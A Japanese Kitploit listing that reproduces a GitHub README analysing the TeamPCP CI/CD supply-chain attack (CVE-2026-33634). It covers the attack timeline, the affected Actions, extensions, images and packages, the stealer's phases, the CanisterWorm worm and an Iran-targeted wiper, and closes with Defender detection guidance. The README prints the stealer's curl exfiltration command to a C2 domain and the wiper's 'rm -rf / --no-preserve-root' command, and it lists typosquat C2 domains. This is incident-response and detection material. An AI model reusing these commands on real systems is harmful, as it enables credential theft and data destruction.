Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — 2026年これまでで最も影響力のあるCI/CDサプライチェーン攻撃。 | Kitploit
ツール/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
コンテナセキュリティマルウェア分析クラウドセキュリティ脅威インテリジェンスサプライチェーンセキュリティ学習と教育インシデントレスポンス厳選リソース

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — 2026年これまでで最も影響力のあるCI/CDサプライチェーン攻撃。

リポジトリを見る
113122ヶ月前未レビュー

TeamPCP サプライチェーン攻撃: 技術分析と検出ガイド

CVE-2026-33634 (CVSS 9.4) — 2026年でこれまでに最も影響力の大きいCI/CDサプライチェーン攻撃。

2026年3月19日から25日にかけて、脅威アクター TeamPCP (別名: DeadCatx3、PCPcat、ShellForce、CanisterWorm) は、GitHub Actions、Docker Hub、OpenVSX、npm、PyPI の5つのエコシステムにまたがる連鎖的なサプライチェーン侵害を実行しました。ローテーションが不完全だった単一のGitHub PATから始まり、このキャンペーンは2つの主要なオープンソースセキュリティベンダー(Aqua Security と Checkmarx)、4つのGitHub Actionsリポジトリ、2つのVS Code拡張機能、コンテナレジストリ、66以上のnpmパッケージに拡大しました。

このリポジトリは、完全な技術的詳細、厳選されたIOCリスト(FPテスト済み)、および Microsoft Defender XDR にすぐに展開できる検出クエリを提供します。


目次

  • 攻撃タイムライン
  • キルチェーンの内訳
  • 侵害されたアーティファクト
  • クレデンシャルスティーラーの仕組み
  • CanisterWorm — npm 伝播
  • イラン標的型ワイパーコンポーネント
  • 検出とハンティング
  • IOC リスト
  • FP フィルタリングに関する注意事項
  • MITRE ATT&CK マッピング
  • 参考情報

攻撃タイムライン

日付 (UTC)イベント
2026年2月20日hackerbot-claw アカウントを作成。悪用可能な pull_request_target ワークフローをスキャン開始
2026年2月28日PWN リクエストによる最初のTrivy侵害。クレデンシャルが窃取された
2026年3月1日Aqua Security が封じ込めを試行 — クレデンシャルローテーションは不完全
3月19日 17:43本攻撃: TeamPCP が侵害された aqua-bot サービスアカウントを介して aquasecurity/trivy-action の75/76タグと setup-trivy の全7タグをフォースプッシュ
3月19日 18:22バックドア付き Trivy v0.69.4 が GitHub Releases、Docker Hub、GHCR、ECR に公開
3月20日 05:40Trivy-action の侵害ウィンドウ終了 (~12時間)
3月20日 20:45CanisterWorm が npm 全体に拡散していることを検知 — 47以上のパッケージが侵害
3月22日 20:31TeamPCP がスクリプトによる2分間のバーストで aquasec-com GitHub 組織の全44リポジトリを改ざん
3月22日Docker Hub イメージ 0.69.5 と 0.69.6 が同じスティーラーペイロードでプッシュされる
3月23日 02:53Checkmarx 波の開始: 悪意のある ast-results v2.53.0 と cx-dev-assist v1.7.0 が ast-phoenix アカウントを介して OpenVSX に公開
3月23日 12:58Checkmarx/kics-github-action の全35タグが、侵害された cx-plugins-releases アカウントでフォースプッシュされる
3月23日 15:41Checkmarx が OpenVSX の問題は解決済みと報告
3月23日 16:50ユーザー報告後、KICS GitHub Action が停止
3月23日 22:25Sysdig が Checkmarx/ast-github-action v2.3.28 も侵害されていると報告
3月24日 08:30LiteLLM 波: トロイの木馬化された litellm v1.82.7 と v1.82.8 が盗難されたクレデンシャルを使用して PyPI に公開
3月24日 11:25PyPI が悪意のある LiteLLM バージョンを隔離

キルチェーンの内訳

フェーズ 1 — 初期アクセス

根本原因: 2月28日の侵害後の不完全なクレデンシャルローテーション。aqua-bot サービスアカウントのPATは失効されていなかったか、攻撃者がローテーション中に新しいトークンを観察しました。

TeamPCP はこの保持されたアクセスを使用して、悪意のある偽装コミットにバージョンタグをフォースプッシュしました。各偽造コミットは元のメタデータ(作成者、タイムスタンプ、メッセージ)を複製しつつ、エントリポイントスクリプトをスティーラーペイロードに置き換えました。GitHub のリリースページには目に見える変更は表示されませんでした — 「Immutable」バッジも正常に表示されていました。

フェーズ 2 — ペイロード実行

スティーラー — 「TeamPCP Cloud stealer」と自己識別する204行の entrypoint.sh — は3段階の攻撃を実行します:

ステージ 1: メモリスキャン

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

ステージ 2: ファイルシステムのクレデンシャルスイープ

50以上の機密パスをスキャン:

  • SSH 鍵 (~/.ssh/*)
  • AWS/GCP/Azure クレデンシャル
  • Kubernetes トークンと設定
  • Docker レジストリのクレデンシャル
  • Terraform ステートファイル
  • 暗号通貨ウォレット (Solana、Bitcoin、Ethereum、Cardano)
  • npm トークン (~/.npmrc)
  • シェル履歴
  • .env ファイル

ステージ 3: 暗号化された外部送信

  • 収集したすべてのデータを tpcp.tar.gz にバンドル
  • AES-256-CBC (ランダムセッションキー) + RSA-4096/RSA-OAEP (攻撃者の公開鍵) で暗号化
  • ベンダー別のタイポスクワットドメインへの curl POST で外部送信
  • フォールバック: 盗んだ GITHUB_TOKEN を使用して被害者の GitHub アカウントに tpcp-docs または docs-tpcp リポジトリを作成

フェーズ 3 — 永続化

非CIのLinuxシステムでは、マルウェアは:

  1. 隠しディレクトリ ~/.config/sysmon/ を作成
  2. Python バックドア (sysmon.py) を配置
  3. 50分ごとにC2をポーリングする systemd ユーザーサービスをインストール
  4. キルスイッチ: C2 応答に「youtube」が含まれる場合、バックドアは実行をスキップ

フェーズ 4 — 横展開 (Checkmarx 波)

Trivy 波で盗んだクレデンシャルにより、Checkmarx のエコシステムの侵害が可能になりました。各新しい波では、前の波のブロックリストを回避するために異なるタイポスクワットC2ドメインを使用しました:

波C2 ドメインタイポスクワット元
Trivyscan.aquasecurtiy[.]orgaquasecurity.org
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai

侵害されたアーティファクト

GitHub Actions

リポジトリ侵害されたタグ露出ウィンドウ (UTC)エントリポイント
aquasecurity/trivy-action76中75 (安全: 0.35.0)3月19日 17:43 – 3月20日 05:40entrypoint.sh
aquasecurity/setup-trivy全7タグ3月19日 17:43 – 21:44action.yaml
Checkmarx/kics-github-action全35タグ3月23日 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (おそらく全て)3月23日 ~22:25以降setup.sh

OpenVSX 拡張機能 (VS Code Marketplace は影響なし)

拡張機能悪意のあるバージョン安全なバージョン
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

両拡張機能は、3月23日12:53 UTCに12秒違いで ast-phoenix アカウントを介して公開されました。アクティベーション時に environmentAuthChecker.js がクラウドプロバイダーのクレデンシャルをチェックし、checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz から第2段階のスティーラーを取得します。

コンテナイメージ

イメージ悪意のあるタグ
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

パッケージバージョンバックドアされたファイル
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

3重ネストのBase64ペイロードにK8s横展開ツールキットを含む。checkmarx.zone/raw をポーリングする sysmon.service による永続化。


クレデンシャルスティーラーの仕組み

外部送信パターンは全波で同一です:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

タイポスクワットドメイン戦略は意図的です: CI/CDログをレビューするアナリストは、アクション自身のベンダードメインのように見える curl トラフィックを目にします。注意深く比較しない限り、scan.aquasecurtiy.org は素早いログレビューで aquasecurity.org として通過します。

盗まれたデータを復号化できるのは攻撃者だけです — AESセッションキーは攻撃者の公開鍵でRSA-OAEP暗号化されています。


CanisterWorm — npm 伝播

Trivy 侵害から24時間以内に、盗まれたnpmトークンにより、66以上のパッケージ(141の悪意のあるアーティファクト)にわたって自己伝播型ワームが拡散しました。

CanisterWorm が注目に値する点:

  • C2として ICP (Internet Computer Protocol) ブロックチェーンキャニスター を使用する初めて記録されたnpmマルウェア
  • tdtqy-oyaaa-aaaae-af2dq-cai のキャニスターは分散型スマートコントラクト — 単一の停止ポイントなし
  • 3つのメソッドを公開: get_latest_link、http_request、update_link
  • 攻撃者はnpmパッケージを再公開することなく、感染した全マシンのペイロードをローテーション可能
  • キルスイッチ: キャニスターが youtube.com を含むURLを返した場合、バックドアはスリープ
  • 永続化: pgmon (PostgreSQL監視) を装う systemd ユーザーサービス
  • ポーリング間隔: 50分ごと
  • バイナリは /tmp/pglog に配置され、状態は /tmp/.pg_state で追跡

既知の侵害スコープ: @emilgroup/*、@teale.io/* (@teale.io/eslint-config v1.8.11、v1.8.12 の自己伝播型バリアント)


イラン標的型ワイパーコンポーネント

破壊的なバリアントはイランのシステムを特に対象とします:

  1. Kubernetes + イラン: 全ノード(コントロールプレーンを含む)に特権DaemonSetを展開し、kamikaze というコンテナでワイプと強制再起動を実行
  2. Kubernetes + 非イラン: CanisterWorm バックドアを systemd サービスとしてインストール
  3. 非K8s + イラン: sudo で rm -rf / --no-preserve-root を実行
  4. 非K8s + 非イラン: アクションなし

検出はシステムのタイムゾーンとロケールチェックによる。


検出とハンティング

Microsoft Defender XDR — カスタム検出ルール

ルール名: TeamPCP Supply Chain C2 and Malware IOC Match
重大度: 高
カテゴリ: CommandAndControl
頻度: 1時間ごと

完全なKQLクエリは detection/defender_xdr_query.kql を参照してください。

このクエリは以下をカバーします:

  • 7つのSHA256ファイルハッシュ (スティーラー + CanisterWorm バリアント)
  • 2つのC2 IPアドレス
  • 4つのC2ドメイン (タイポスクワット + ICPキャニスター)
  • 4つの特定のC2 URL
  • DNS解決チェック

Defender TI インジケーターのインポート

インポート可能なCSVが iocs/FINAL_TeamPCP_IOC_25Mar2026.csv に用意されています。このファイルは本番エンタープライズ環境に対してFPテスト済みです。

他のプラットフォーム

プラットフォーム検出
Palo Alto Cortex XDRルール ioc.linux.shaihulud.2 — GitHub Action ランナー上のクレデンシャルアクセス
Sysdig/FalcoContact EC2 Instance Metadata Service From Container、Curl Exfiltrating File、Exfiltration of AWS IMDS Credentials Using LOTL Binary

IOC リスト

ファイルハッシュ (SHA256)

ツールをダウンロード